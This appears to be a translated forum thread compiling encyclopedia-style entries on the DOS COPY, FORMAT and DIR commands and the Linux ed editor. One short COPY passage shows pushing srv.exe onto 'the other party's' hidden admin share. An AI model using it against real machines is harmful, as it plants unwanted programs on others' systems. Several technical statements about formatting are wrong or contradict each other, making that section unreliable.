Execute the following command:

copy *.txt combin.doc

At this time, open the Combin.doc file, and you will find that this file has merged all the contents of the *.txt files into one document.

Example 6: The COPY command merges each file with the.txt extension and its corresponding.ref file. The result is a file with the same file name but with the extension.doc. COPY merges File1.txt and File1.ref to form File1.doc, then copy merges File2.txt and File2.ref to form File2.doc, and so on.

Execute the following command:

copy *.txt + *.ref *.doc

Example 7: To merge all files with the.txt extension, then merge all files with the.ref extension, and put the merged result in the Combin.doc file.

Execute the following command:

copy *.txt + *.ref combin.doc

### Command Encryption
#### Encryption Conditions
Prepare an EXE executable file, or a document in the form of a picture, and a TXT document that you want to hide (it can also hide ZIP, RAR files). It is required to be in the same directory.

Take hello.jpg and 123.txt as explanations respectively, save them as gif, name them sky after saving, and these two files have been placed in the root directory of drive D.

#### Encryption Work
After the preparation work is done, enter CMD. Use CMD to enter the directory of the files to be merged (enter D: to enter the root directory of drive D). The files are all placed in the root directory of drive D, so just enter drive D.

Enter the following in the directory: copy hello.jpg/b + 123.txt/a sky.gif

The copy is successful, and the merged file is named sky. Open sky.gif with an image viewing software, and it looks no different from the original picture. But when opened with Notepad, it is different. Open Notepad, directly drag sky.gif into it, and a bunch of garbled codes appear. But it doesn't matter. At this time, go to the end of the document (press Ctrl+End directly), and see it. The content at the bottom is the content in 123.txt. Is this method a good way to hide your own privacy?

If the hidden is a ZIP, RAR compressed package file, change the suffix of sky.gif to RAR or ZIP, and the hidden compressed package can be obtained.

### Supplementary Content
copy c:\srv.exe \ip\***$ means to copy srv.exe to *** under the other party's IP.

copy \ip\***$\srv.exe c:\ means to copy the other party's ***i.exe file to local c:\.

Also, it is better to leave three spaces at the beginning of the text in the 123.txt file above to avoid the first few characters being overwritten. Among them, parameter /b specifies copying and merging files in binary format; parameter /a specifies copying and merging files in ASCII format. Here, attention should be paid to the order of files. The binary format file should be placed before the plus sign, and the text format file should be placed after the plus sign.

### Other Meanings
In English

n. 1. copy, duplicate 2. one copy, one volume 3. written material ready for typesetting 4. (manuscripts of newspapers, etc.); (information that can be used for newspaper articles or advertisements).

vt. & vi. 1. copy; transcribe 2. cheat; plagiarize.

vt. 1. imitate, follow 2. transcribe; copy out.

In radio

Phrase: copy that often means received. It appears and is used many times in the radio of various FPS games, the WWII radio, and action war movies. copy in wireless communication spoken language often as a flat-level reception, meaning received, do as instructed. If it is the reception of the subordinate to the superior (such as: tower, command aircraft ship, superior unit, etc.) communication, then use roger that. copy and roger should be distinguished in such wireless communication spoken language.

Shortcut key ctrl+c

In PHP

Syntax copy(source, destination)

Parameters

Description

source Required, specifies the file to be copied.

destination Required, specifies the destination of the copied file.

Description: Copy the file from source to destination. Returns TRUE if successful, otherwise returns FALSE.

Reference materials:
1. Linux command: cp (copy) copy files or directories
http://www.kuqin.com/linux/20090820/67125.html
2. copy information
http://dict.hjenglish.com/w/copy
Extended reading:
1. cmd copy command file copy
http://www.jb51.net/article/18981.htm
2. Skillfully use the COPY command to encrypt text files
http://arch.pconline.com.cn//pcedu/teach/os/10309/220595.html
1<词>,2,3/段\,4{节},5(章)。
Floor 8 Posted 2016-02-07 01:52 ·  中国 海南 移动
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
Format
Edit Entry
The term "format" generally refers to "formatting (formatting)".

This entry lacks basic information sections and category classifications. Supplement relevant content to help the entry become more complete! Edit now >>

Formatting refers to an operation to initialize a disk or partition (partition) on a disk. This operation usually causes all files in the existing disk or partition to be cleared. Formatting is usually divided into low-level formatting and high-level formatting. If not specifically specified, formatting a hard disk usually refers to high-level formatting, while formatting a floppy disk usually includes both of these.
Table of Contents
1 Basic Introduction
2 Technical Types
3 Difference from Low-Level
4 Operation Methods
5 Antivirus Effect
1 Basic Introduction Edit
   Simply put, formatting is to divide a blank disk into small areas and number them for the computer to store and read data. Without this work, the computer won't know where to write and read from.

  The concept of formatting originally only applied to computer hard disks. With the continuous development of electronic products, many memory devices use the term "formatting". In a narrow sense, it is equivalent to data clearing, deleting all data in the memory device, and restoring the memory device to its initial state.

Formatting  A hard disk must be partitioned before it can be used. After the disk is partitioned, the next step is to perform the high-level formatting (FORMAT) work on the hard disk. A hard disk must be formatted before it can be used.

  Formatting is to create tracks and sectors on the disk. After the tracks and sectors are created, the computer can use the disk to store data.

  What is formatting: Here we use an image analogy: If the hard disk is a large clean room, we divide it into three bedrooms (divided into three areas); but we can't move in immediately. Before that, we must clean and decorate each room. Then formatting here is the step of "cleaning and decorating"! In addition, the high-level formatting of the hard disk before use can also identify whether there are any damages to the tracks and sectors of the hard disk. If the formatting process goes smoothly, the hard disk is generally fine.

It can also be called format-ization, and applied in other phrase sentences according to specific formats (widely applied in fields such as formulas).

Example: a*a/q

1*1/9

2 Technical Types Edit
Simply put, formatting is to do the initialization work for the disk so that we can record data on the disk in an orderly manner. It's like we have a big house to store books. We won't just move the books and throw them on the floor. Instead, we need to set up bookshelves, mark categories, and put the books in categories.

Before a newly purchased disk can be recognized by the operating system, some magnetic marks need to be written to each sector on the disk, so that data on the disk can be accessed under that operating system. This action is called formatting.

Low-Level Formatting

Low-Level Formatting, also known as low-level formatting or physical formatting (Physical Format), for some hard disk manufacturers, it is also called initialization. Originally, along with the appearance of disks using CHS addressing methods, frequency modulation (FM), improved frequency modulation (MFM) and other encoding schemes, low-level formatting was used to refer to the operation of dividing cylinders, tracks, and sectors on the disk. Nowadays, with the gradual withdrawal of floppy disks from daily applications and the appearance of disks using new addressing methods and interfaces, this term has lost its original meaning. Most hard disk manufacturers define low-level formatting (Low-Level Formatting) as the operation of creating hard disk sectors (sector) to enable the hard disk to have storage capacity. Now, people have certain misunderstandings about low-level formatting. In most cases, when referring to low-level formatting, it often refers to the zero-filling operation of the hard disk.

For a standard 1.44 MB floppy disk, its low-level formatting will create 160 tracks (80 per side) on the floppy disk, 18 sectors per track, and 512-bit groups (byte) per sector; a total of 1,474,560 bit groups. It should be noted that the low-level formatting of a floppy disk is usually supported by the system. Usually, the formatting operation on a floppy disk includes both low-level formatting and high-level formatting operations.

High-Level Formatting

High-level formatting, also known as logical formatting, refers to writing specific data in specific areas of the disk according to the selected file system (such as FAT12, FAT16, FAT32, NTFS, EXT2, EXT3, etc.) to initialize the disk or disk partition and clear all files in the original disk or disk partition. High-level formatting includes rewriting the corresponding area of the partition table in the master boot record, and according to the selected file system, dividing a piece of disk space in the partition for storing the file allocation table, directory table, and other disk space for file management, so that the user can use this partition to manage files.

Quick Formatting

When formatting a disk, we also have an option of "quick formatting". When running the regular formatting command, each sector on the partition will be marked as free and available in the file allocation table of the current partition. At the same time, the system will scan the hard disk to check for bad sectors, and each sector will be marked as available during the scanning process. The work of scanning bad sectors takes up most of the time for formatting the disk partition.

  If quick formatting is selected, only deletion marks will be made from the partition file allocation table, and the disk will not be scanned to check for bad sectors. This option can only be used if the hard disk has been formatted before and it can be ensured that the hard disk is not damaged.

3 Difference from Low-Level Edit
  Low-level formatting is to divide cylinders and tracks on a blank disk, and then divide the tracks into several sectors. Each sector is also divided into identification part ID, gap area GAP, and data area DATA, etc. It can be seen that low-level formatting is a job before high-level formatting, and it can only be completed in the DOS environment. Moreover, low-level formatting can only be aimed at a hard disk and cannot support a single partition. When each hard disk is factory-produced, it has been low-level formatted by the hard disk manufacturer. Therefore, usually users do not need to perform low-level formatting operations. In fact, the comprehensive formatting we perform on a floppy disk is a kind of low-level formatting.

  It should be pointed out that low-level formatting is a lossy operation, which has a certain negative impact on the life of the hard disk. Therefore, many hard disk manufacturers suggest that users should not "recklessly" use this trick unless it is absolutely necessary. When the hard disk is affected by an external strong magnet or strong magnetic field, or due to long-term use, the magnetic recording part of the sectors divided by low-level formatting on the disk platter is lost, resulting in a large number of "bad sectors", low-level formatting can be used to re-divide "sectors". But the premise is that the disk platter of the hard disk is not physically scratched.

  High-level formatting is to clear the data on the hard disk, generate boot area information, initialize the FAT table, mark logical bad tracks, etc. Generally, when we reinstall the system, it is high-level formatting. So there is a possibility of viruses, because the MBR is not rewritten, and MBR viruses can be cleared by antivirus software. Or, in DOS, execute fdisk /mbr to rewrite the MBR to completely clear the virus.

  Simply put, high-level formatting is formatting related to the operating system, and low-level formatting is formatting unrelated to the operating system.

  High-level formatting mainly formats the tracks of each partition of the hard disk, and logically divides the tracks. For high-level formatting, different operating systems have different formatting programs, different formatting results, and different track division methods.

  Low-level formatting is physical-level formatting, mainly used to divide the cylinders of the hard disk, establish the number of sectors, and select the sector gap ratio. The hard disk must be low-level formatted before high-level formatting, and the newly factory-produced hard disk has already been low-level formatted, so users do not need to perform low-level formatting again. Generally, users only need to perform low-level formatting when it is absolutely necessary. For example, if your hard disk has too many bad sectors, often causing errors when accessing data, and even the operating system cannot be used at all, then you need to perform low-level formatting. Also, if some parameters related to low-level formatting on your hard disk are damaged by viruses, such as the hard disk interval coefficient, then you can only perform low-level formatting to re-establish these parameters.

  Many motherboards' CMOS provide the function of low-level formatting, generally in the HDD Low Level Format option. If your motherboard has this option, you can directly use the Hard Disk Low Level Format Utility in it for low-level formatting. There are also many motherboards that do not have the function of low-level formatting. If this is the case, it is best for you to use the hard disk management and low-level formatting program provided by the hard disk manufacturer. There are also general-purpose low-level formatting programs, such as DM (Disk Manager), PC-Tools, etc. If your hard disk is relatively standard, you can also use these tools for low-level formatting.

4 Operation Methods Edit
1. In the DOS environment

In the DOS environment, there are multiple software that can perform formatting operations. The system usually also provides a command-line interface formatting software "Format" in the form of an external command.

The parameters of the Format command include the disk on which formatting will be performed, and some other minor parameters, such as the cluster size, file system format, etc.

The usual format of the Format command is: Format X: (X is the drive letter for which formatting operation is to be performed. For example, if you want to format drive C, replace X with C, and so on. Adding the "Q" parameter can perform quick formatting.

2. Formatting under Windows/DOS system

  In Windows and DOS operating systems, there are programs for formatting Format, but once the work of formatting the hard disk is performed, all the data on the hard disk will be lost! So before performing this action, make sure whether the data in the disk is still needed. If so, back it up separately first.

  If you want to format the C: area of the hard disk, type the format as follows:

   can be filled with parameters. It is recommended that everyone generally do not add parameters.

  Directly type format C: and then press Enter, because for most people, adding parameters is of little significance.

The most important and commonly used parameters of FORMAT:

  /u performs destructive formatting on the hard disk. If this parameter is not added, a hidden MIRROR image file will be generated in the root directory of the hard disk. If no other hard disk operations are performed, the original hard disk content can be restored using UNFORMAT. Of course, it is best to back up the data that needs to be backed up before formatting the hard disk.


Formatting  /s copies the DOS system files to the root directory of the hard disk after formatting. Adding this parameter, the hard disk can start to the C: state. This was very useful in the DOS era, but now it has little practical significance.

  /c checks the hard disk sectors and repairs bad sectors while formatting the hard disk. This kind of repair is not very reliable and will also affect the formatting speed.

  /v adds the label (name) in to the hard disk after formatting.

  /q quick formatting There are some less commonly used parameters, which will not be introduced one by one.

  We still need to use the Windows 98 boot disk, insert it into the A drive of the computer, then turn on the computer, press 1 key, press Enter, after a few seconds, the screen will show A: because our hard disk has 3 partitions, so type f: and press Enter, the screen becomes F: (if there are 2 partitions, type e: and press Enter, if there are 4 partitions, type g: and press Enter, and so on). Type format c: and press Enter, and the following prompt will appear.

  WARNING, ALL DATA ON NON-REMOVABLE DISK

  DRIVE C: WILL BE LOST!

  Proceed with Format (Y/N)n

  It means that the data in drive C will be lost, do you want to format it?

  We press Y and press Enter, then a progress number indication will appear, starting from 1 to 99. Formatting a 5G hard disk, if the computer configuration is high, it can be completed in about 2 minutes. If the configuration is low, it may take 5 or 6 minutes, or even longer. But if the progress number does not move for a long time, the hard disk is problematic and needs to be replaced or repaired.

  When the progress number flashes 99, the following prompt will appear.

  Volume label (11 characters, ENTER for none)?

  It means that we are asked to give the hard disk a volume label, that is, a name. If we directly press Enter, there will be no label name.

  Then the list of hard disk space after formatting will appear, which will tell us the total capacity of the hard disk, available space, system occupied space, bad sector occupied space, volume label, remaining space and other data, and return to the F:/ state, which means that we have successfully completed the formatting of the C partition. Then we follow the above steps to complete the formatting of the D: area and E: area in turn.

  Formatting: refers to the pre-processing of the disk before use to store data. Generally speaking, a new disk must be formatted, and an old used disk can also be formatted. All data on the disk will be deleted after formatting.

  Note: Formatting the hard disk is a very dangerous operation. It is recommended to back up important data in advance. If the user who has not backed up in time formats, the user can use some recovery software to recover important data after formatting (high-level formatting). But the premise of full area recovery is that no content has been written to the formatted partition. If content has been written in, it may not be fully recovered, but some data can still be recovered!

  Quick Formatting

  When formatting a disk, we also have an option of "quick formatting".

  When running the regular formatting command, each sector on the partition will be marked as free and available in the file allocation table of the current partition. At the same time, the system will scan the hard disk to check for bad sectors, and each sector will be marked as available during the scanning process. The work of scanning bad sectors takes up most of the time for formatting the disk partition.

  If quick formatting is selected, only deletion marks will be made from the partition file allocation table, and the disk will not be scanned to check for bad sectors. This option can only be used if the hard disk has been formatted before and it can be ensured that the hard disk is not damaged.

  Data Security

  Theoretically, high-level formatting (whether quick or ordinary form) does not really delete data from the disk. It just writes a special deletion mark at the beginning of the disk sector where the data is located, telling the system that new data can be written here. As long as new data is not immediately overwritten on the entire hard disk after formatting, the original data will still be there, and only some specific software is needed to recover the original data.

  Conversely, low-level formatting does is to overwrite each sector on the disk with "00", which will completely destroy all data on the hard disk and cannot be recovered.

  Can formatting clear viruses on the hard disk?

  Yes. As long as the formatting command for a certain partition is executed, all existing data on this partition is marked as unreadable. The virus, as a program file, naturally cannot be seen, and of course cannot run again.

  It is worth noting that a hard disk often has more than one partition, which is manifested in "My Computer", where you will see several drive letters starting from C:. You must format all these different partition drive letters before you can say that there are 100% no viruses on your hard disk. Otherwise, this disk is formatted, and there are still viruses on that disk. When you open another disk to read it someday, the virus will come back again.

  Can all hard disk partitions be formatted in the Windows environment?

  The answer is "no". As long as the Windows system is started, some system files on the system disk (usually drive C:, which can also be customized) are locked as immovable or deletable. The formatting command in Windows is a graphical interface Windows program. This program is an accessory tool of the Windows operating system and cannot run without the Windows operating system. Therefore, it cannot format the disk partition where its "upper" system program is located.

  As long as it is not the system partition, other partitions can be easily formatted.

  How to format all hard disk partitions?

  Answer: Find a way to enter DOS, such as using a Windows boot disk. After entering the DOS command line interface, use FORMAT X: (replace X: with any letter + half-angle colon, "X" must be a FAT format partition) to do it. You can also use other third-party disk management tools such as PQ Magic, etc. These disk partition software can format the current partition while partitioning.

3. Formatting under Linux

  There is a graphical interface formatting tool in Linux: Gparted, which is recommended for novices. The interface is intuitive and easy to operate.

  Ubuntu/Debian users can use: apt-get install gparted to install it; in addition, the formatting command in Linux is mkfs.. For example: mkfs.ext3, mkfs.vfat, mkfs.ntfs, mkfs.xfs, etc. If you want to format /dev/sda1 as an Ext3 file system, just type mkfs.ext3 /dev/sda1 to complete the formatting. Other operations are similar, all are mkfs.

Key points for adding new hard disks and partitioning formatting under Linux:

  Before adding a hard disk to the host, first understand the naming method of hard disks and partitions in the Linux system.

  In Linux, IDE devices are named with hd. The first IDE device is hda, and the second is hdb. And so on.

  Generally, there are two IDE interfaces on the motherboard, and a total of four IDE devices can be installed. The two devices on the master IDE are respectively corresponding to hda and hdb, and the two devices on the second IDE port are corresponding to hdc and hdd.

  Generally, the hard disk is installed on the master interface of the main IDE, so it is hda; the optical drive is generally installed on the master interface of the second IDE, so it is hdc (because hdb is used to name the slave interface on the main IDE).

  SCSI interface devices are named with sd. The first device is sda, and the second is sdb. And so on.

  Partitions are named with the device name plus a number. For example, hda1 represents the first partition on the hda hard disk device.

  Each hard disk can have up to four primary partitions. The role is to name the primary partitions of the hard disk from 1 to 4. Logical partitions start from 5, and each additional partition increases the number by one.

  For example, a general system has a primary partition to boot the system. This partition is named hda1 as everyone often says C drive. Then we divide three logical partitions corresponding to the commonly said D, E, F, which are named hda5, hda6, hda7 in Linux.

  Partition the hard disk

  In slackware, there are two partition software fdisk and cfdisk.

  For example, there is already a hard disk, and now add another hard disk to the system.

  Then, according to the naming rule, it is known that this newly added hard disk should be hdb. You can use the following command to partition the hard disk.

  fdisk /dev/hdb

  You can also use cfdisk to partition, the command is as follows.

  cfdisk /dev/hdb

  Format the hard disk

  Format to Ext3 format

  mkfs.ext3 /dev/hdb1

  Format to reiserfs format

  mkfs.reiserfs /dev/hdb1

  Automatically mount the hard disk at startup

  For example, mount the /dev/hdb1 partition to the /mnt/hd directory.

  Edit the /etc/fstab file with vi and add the following content.

  /dev/dhb1 /mnt/hd reiserfs defaults 1 1

5 Antivirus Effect Edit
  Since formatting deletes all information in the disk, the virus will also be deleted. Therefore, formatting is often used as an auxiliary means to clear the virus. However, if the virus is latent in the motherboard bios or in a partition other than the formatted partition, formatting will naturally not play a role in clearing the virus. However, some viruses exist in files, and formatting is also a good choice!


Formatting (Format) is the operation of writing zeros on all data areas of the physical drive (hard disk). Formatting is a pure physical operation, and at the same time, it performs consistency detection on the hard disk medium and marks unreadable and bad sectors. Since most hard disks have been formatted at the factory, formatting is only required when there are errors in the hard disk medium.

1. Booting of DOS

If you have installed WIN98, hold down Ctrl when the computer starts, a boot selection menu will appear, and select 5 "Command Prompt Only" to enter the DOS mode.

At present, the operating systems we commonly use are windows 9x/Me, NT, 2000, windows Xp, windows 2003, etc., which are all visual interfaces. The operating system used by people before these systems is the DOS system. The DOS system is not used by many people now, but the dos commands still exist in the Windows system we use. Most of the DOS commands have become visual interfaces in Windows, but some advanced DOS commands still need to be executed in the DOS environment. Therefore, learning commands is necessary for us to operate the Windows system proficiently.

Different operating systems use different commands to enter the command line interface.

In the run program in the start menu of Win9x/Me, type the "command" command to enter the command line interface.

In the run program in the start menu of Win2000/NT, type the "cmd" command to enter the command line interface.

The following DOS commands I will talk about can all be executed in the Windows Me operating system.

Then, how do we enter the command line window?

Start -> Run -> Type the command command (you can also directly type cmd) -> Enter.

Enter the command line operation interface (DOS window). In the DOS window, only the keyboard can be used to operate.

In DOS, execute the program by entering the English command plus the Enter key.

2. Return to drive A:

If we need to format drive C:, we cannot format drive C: in the drive C: directory, but have to return to drive A:. Anyway, for a drive other than drive C:, if it is booted with a boot disk, it is generally drive A: after booting. If it is booted with a CD, it is not drive A: (specifically, in which drive it is depends on the number of partitions. It will automatically shift backward).

3. Formatting command and illustration (please be careful about misformatting)

FORMAT (Format.COM) -- Formatting command

As we all know, a newly purchased disk must be formatted before it can be used. The FORMAT command can complete the formatting operation of floppy disks and hard disks. The format is "FORMAT ", for example, "FORMAT C: /S". It has two common parameters:

  /Q: Perform quick formatting (please be careful about misformatting);

  /S: Complete formatting and copy the system boot file to this disk.

VB Format Function

Returns Variant (String), which contains an expression formatted according to the instructions in the format expression.

3. Syntax

  Format(expression]])

  The syntax of the Format function has the following parts:

Part Description
expression Required parameter. Any valid expression.
format Optional parameter. Valid named expression or user-defined format expression.
firstdayofweek Optional parameter. Constant indicating the first day of the week.
firstweekofyear Optional parameter. Constant indicating the first week of the year.
4. Setting values

The firstdayofweek parameter has the following settings:  

Constant Value Description
vbUseSystem 0 Use NLS API settings.
VbSunday 1 Sunday (default)
vbMonday 2 Monday
vbTuesday 3 Tuesday
vbWednesday 4 Wednesday
vbThursday 5 Thursday
vbFriday 6 Friday
vbSaturday 7 Saturday
The firstweekofyear parameter has the following settings: 

Constant Value Description
vbUseSystem 0 Use NLS API settings.
vbFirstJan1 1 Start from the week containing January 1st (default).
vbFirstFourDays 2 Start from the first week of the year, and this week has at least four days in the year.
VbFirstFullWeek 3 Start from the first week of the year, and this week is completely in the year.
5. Description  

Formatting Method
Number Use pre-defined named numerical formats or create user-defined numerical formats.
Date and time Use pre-defined named date/time formats or create user-defined date/time formats.
Date and time ordinal Use date and time formats or numerical formats.
String Create custom string formats.

Formatting If Format is used on a positive number without specifying format, it provides a similar function to the Str function, although it is international. However, Format does not reserve a space for the positive sign when acting on a positive number, while Str does.
Reference materials:
1.
Super Hard Disk Data Recovery Software V4.1.5.0 | Can recover deleted and formatted
http://down.it168.com/114/129/111193/index.shtml
2.
Partition Formatting Recovery Software (Hard Disk/USB Flash Drive/Memory Card/Mobile Hard Disk) Free Version
http://www.onlinedown.net/soft/304926.htm
3.
How to Format a USB Device under Linux
http://www.lupaworld.com/article-226487-1.html
Extended reading:
1.
Convert file system format without formatting
http://www.tongyongpe.com/n/201301/81.html
2.
Formatting, Repairing and Data Recovery of Mobile Phone Memory Cards
http://www.yesky.com/100/1949600.shtml
3.
Space HD Lite LiveWallPaper 2.0
http://www.onlinedown.net/soft/115718.htm
1<词>,2,3/段\,4{节},5(章)。
Floor 9 Posted 2016-02-07 02:05 ·  中国 海南 移动
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
Chuan K Yu-SpeakHero 2010-03-30
DOS can only access FAT, it doesn't recognize NTFS. Using single lookup is okay: CD X: and DIR.
Among the common commands, there is no one specifically set up for finding files. Does that mean there's no corresponding command and you have to search directory by directory? No, here's another trick. For example, if we want to see all files starting with WT in the current directory and its subdirectories, enter DIR WT*.*/S, and the system will display the files starting with WT and their directories. That is to say, to find a certain file, actually we just need to display it on the screen, and the "/s" parameter of DIR is to view the files in subdirectories together. Using this parameter can achieve the purpose of finding. The "/a" and "/h" and "/ah" of DIR can also help you quickly find hidden files. This is most useful when deleting files.

dir <first character>*.*/s


---------------------------------------------------------------------------------------



*wlm2012 posted 3 days ago | Only look at the original poster
The source has it, apt-get install robocode can be installed directly.

*wchyumo2011 2015-05-20 16:02
Currently, only part of the Chinese version of man has been translated. Thanks to the great selfless translators here.
Specific operation method: Enter in the terminal
sudo aptitude install manpages-zh
Or
sudo apt-get install manpages-zh
You will have the Chinese manual of man.

*q and ctl+c, information and process end?

*find / -name "*.*" search command, replace *.* with the previous file name or the following suffix name.

*Simple content of shell operation under Linux:
echo $((2+5*9))
In this way, there is a $ in front, and then put the formula in parentheses (two parentheses before and after), this only supports integer four arithmetic operations

*Writing text with vim under the shell of Linux:
Enter vi file name plus suffix in the shell, press Enter, then enter i, and you can enter text information at the cursor.
Press the esc key, enter :wq and press Enter, then save and exit.

*Some things about ed editing files under Linux (found from the Internet)

Basic application:
1, $n Print the content of the file and add line number information
n Go to line n (n is a number)
n Display the content of the current line (n is a character)
d Delete this line
/xx/ Find xx
?xx? Reverse find xx
// Find the next one
s/str1/str2/ Replace str1 with str2 in the current line
ns/str1/str2/ Replace str1 with str2 in line n
a,c,i Operate on the current line (a: add after the line c: modify the line content i: insert before the line)
Command parameters:
ed file
When there is an error, h provides simple help information, H provides detailed help information, enter the input method in the input mode on a separate line, return to the command format to save the file w. Wq =x
p .p Display the current line
= Display the line number of the current line
np Display line n
1,6p Display lines 1-6
$p Display the last line
1,$p Display all lines
+ Display the next line
- Display the previous line
n Display the current line and line number
nn Display line n and line number
x,yn Display lines x-y and line numbers
l Display the current line including non-printable characters
d Delete the current line
u Undo the last command
s /str1/str2 Replace str1 with str2
s/str1// Delete str1
2s/str1/str2/n Change str1 in line 2 to str2 and display the modified line
s/str1/str2/g Replace throughout
<first>,<end>m<line>
2,4m6 Move lines 2-4 after line 6
t Block copy format is the same as m
r file Read the file to the current line
<first>,<end> w file Write the block to the file
!cmd Execute the shell command
/Pattern/ Forward find command
?Pattern? Reverse find command
// Continue to find the second one
g/the/p Find and display throughout
g/the/s/the/that/ Find the throughout the and replace the throughout the with that
v is opposite to the g command
v/the/n Find and display without containing the throughout
No character
^ represents the beginning of the line $ end of the line. Any character * any number of characters the same as the previous one
/A….B/ Start with A and end with B with 3 arbitrary in the middle
. s/. /. The first. current line
The second. any character
The third. character
s/xx*/y/ Replace 2 or more x with y
s/x*y/y/ Replace all characters starting with x and ending with y with y
& represents the content of the first pattern
/Pattern 1/(Pattern 1)/=/Pattern 1/(&)/
means x or z
means any number from 0-9

----------------------------------------------------------------------------------------------

The ed editor is the simplest text editor under the Linux operating system. It is an editor that edits files line by line, unlike the edit under the MS-DOS system which edits files frame by frame. Therefore, if you are used to using an editor in this style, then you may need some time to get used to the style of ed. But this is not important, because the simplicity of ed can make you get started quickly.

The call of the ed editor is very simple. If you want to create a new file, then you only need to type ed in the command line window and press Enter:

$ ed <-

If you want to edit an existing file, then you just leave a space after ed and type the file name:

$ ed filename <-

After activating the ed command, you enter the command line state of the ed editor, which may make some beginners a little unaccustomed. If you type some content casually at this time, the system will return a ?, indicating that it doesn't know what task you want to perform:

$ ed <-

abcde <-

?

At this time, you need to clarify a few editor commands, which are:

a - Add new content at the end of the file

i - Insert new content before the last line of the file

o - Replace the last line input by the file (whether it exists originally or inserted) with new content

. - Exit the file editing mode and enter the command line mode (note: at this time, it has not exited the ed editor)

w - Save the file

q - Really exit the ed editor

The following I will give examples to illustrate these commands.

$ ed <- Activate the ed command

a <- Tell ed I want to edit a new file

My name is Titan. <- Enter the first line of content

And I love Perl very much. <- Enter the second line of content

. <- Return to the command line state of ed

i <- Tell ed I want to insert content before the last line

I am 24. <- Insert "i am 24." between "my name is titan." and "and i love perl very much."

. <- Return to the command line state of ed

c <- Tell ed I want to replace the last line of input content

I am 24 years old. <- Replace "i am 24." with "i am 24 years old." (note: here it replaces the last input content)

. <- Return to the command line state of ed

w readme.text <- Name the file "readme.text" and save it (note: if you are editing an existing file, just type w)

q <- Completely exit the ed editor

$ Return to the command line state of the Linux system

The content of this file is:

$ cat readme.text <-

My name is Titan.

I am 24 years old.

And I love Perl vrey much.

$



forward.molly.baoer Walking alone


Summary of simple use of ed editor 2010-01-10 12:59:04
Classification: LINUX
ed
The ed editor is the simplest text editor under the Linux operating system. It edits files line by line, unlike the edit under the MS-DOS system which edits files frame by frame.
ed has two states: command line state and editing state. The former receives the entered ed command and is also the default startup state, and the latter edits the file line by line. Let's start learning.

**Create a new file testNew:
*Method 1, first specify the file name, the input process is as follows:
$ls
$ed testNew
testNew: No such file or directory <== This is the output, indicating a non-existent file.
w
0 <== This is the output, indicating that 0 characters were written.
q
$ ls
testNew <== This is the output, it can be seen that there is a new empty file.
Here, w means the write command, q exits, and it will be mentioned later. If there is no w, then after q, there will be no new file established.

*Method 2, specify the name when writing, the input process is as follows:
$ls
testNew <== This is the output, only the newly created file just now.
$ed
w
? <== This is the output,? means there is a problem, or the command is not recognized or something else, here it is lack of file name.
w
? <== This is the output, the same as above.
w testNew2
0 <== This is the output, indicating that 0 characters were written.
q
$ls
testNew testNew2 <== This is the output, it can be seen that there is a new empty file testNew2.
Here, because it is a new file, so if you keep w and don't enter the file name, it will keep prompting until you specify a file name. If you press q before w testNew2, you will directly exit, and in this way, this new file will not be established.
**

**Edit an existing file:
*Edit file testNew
$ed testNew
0 <== This is the output, indicating that 0 characters were read.
Here, it enters the command state by default, and you can enter any command to edit the file. Press q to exit.

*Common commands in command line state:
a <== Add new content at the end of the file.
i <== Insert new content before the last line of the file.
o <== Replace the last line input by the file (whether it exists originally or inserted) with new content.
. <== Exit the file editing mode and enter the command line mode (note: at this time, it has not exited the ed editor).
w <== Save the file. If a name is specified, it means saving as, which does not change the current file.
q <== Exit the ed editor. If there is no w, it will prompt?, and then q will exit without saving.
Q <== Equivalent to forced exit, regardless of saving or not.
**

*An example of the process of creating a new file and editing:
$ ed
a <== Enter a to tell ed I want to edit a new file
My name is QuietHeart. <== Enter the first line of content
And I love ed very much. <== Enter the second line of content
. <== Enter. Return to the command line state of ed
i <== Enter i to tell ed I want to insert content before the last line
I am 25. <== Enter, insert "I am 25." between "My name is ..." and "And I love..."
. <== Enter. Return to the command line state of ed
c <== Enter c to tell ed I want to replace the last line of input content
I am 25 years old. <== Enter, replace "I am 25." with "I am 25 years old."
.w <== Enter, a misoperation, the result becomes input.
q <== Enter, due to a previous misoperation, the result becomes input.
. <== Enter., this just returns to the command line state of ed, not the previous .w
w testNew <== Enter, name the file "testNew" and save it (if the file already exists, just type w, otherwise it will be overwritten)
72 <== Here is the output, indicating the number of characters written.
q <== Enter q to completely exit the ed editor

Next, let's take a look at the content of the newly created file:
$ cat testNew
After entering, the output is as follows:
My name is QuitHeart.
I am 25 years old.
.w
q
And I love ed very much.
Here, I almost used all the common commands given earlier, and we can understand the simplest use of ed. Let's talk about some other practical commands later.

Common commands
*Print all lines:
%p
*Print all lines and display line numbers:
%n
*Print the current line:
.p
*Print the current line and display line numbers:
.n
*Jump to line 3:
3
*Display and switch to the next line:
+
The next two lines are ++
*Display and switch to the previous line:
-
The previous two lines are --

*Exit:
q
Here, if there is no saving, the first time you can't exit, and then q will exit but not save.

*Forced exit:
Q
Will not save.

Simple use instructions for ed line editor 2009-02-01 12:13:48
Classification:
ed is divided into two states: command mode and input mode.
When the prompt "*" appears, ed is in command mode.
The general format of the ed command is: command word
Most commands of ed are single lowercase letters.
1. Append file command (a)
a Enter, where n is the line number
The a command can follow after line number n, such as 10a means start appending after line 10. If the line number is not specified, it starts appending after the current line.
The way to stop appending is: type "." at the beginning of an empty line and press Enter, and ed will return to command mode.
2. Insert command (i)
i Enter
The i command is basically the same as the a command. The difference is: when the line number is specified, the i command inserts before that line, and the a command inserts after that line.
In a newly created file, the i command cannot be used when there is no line.
3. Change command (c)
c Enter
ed replaces the original text in the range of several lines determined by n1 and n2 with the newly input text. If no line is specified, the current line is replaced.

4. Addressing by line number
p
The p command can be omitted, and the line number can be entered directly, and the pointer jumps to the specified line number.
Among them, "." represents the current line number, "$" represents the last line, "," represents all text, and ";" represents all text from the current line to the last line.
5. String addressing
/designated string/ command Enter
?designated string? command Enter
6. Global search
g/string/ command Enter, perform the specified command operation on all lines containing the specified string.
v/string/ command Enter, perform the specified command operation on all lines not containing the specified string.
7. Relative addressing
command Enter
Perform the specified command operation on the range from line number 1 plus or minus n to line number 2 plus or minus n.
8. Display text with line numbers (n)
n Enter
9. Delete text (d)
d Enter
10. Restore command (u)
u Enter
11. Replace text (s)
s/old text/new text/ Enter
Parameter content:
g: Replace all old text in the specified line. If a line of text includes two or more old texts, if this parameter is not used, only the first one will be replaced.
